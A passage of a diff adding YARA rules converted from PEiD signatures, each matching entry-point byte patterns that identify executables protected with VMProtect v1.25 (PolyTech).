+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02859_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02860_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02861_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02862_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02863_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02864_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02865_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02866_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02867_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02868_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02869_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02870_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02871_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02872_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02873_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02874_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02875_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02876_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02877_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02878_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02879_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02880_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02881_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02882_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02883_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02884_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02885_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02886_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02887_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02888_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02889_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02890_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02891_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02892_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02893_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02894_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02895_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02896_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02897_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02898_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02899_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02900_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02901_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02902_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02903_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02904_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02905_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02906_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02907_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02908_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02909_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02910_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02911_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02912_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02913_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02914_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02915_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02916_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02917_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
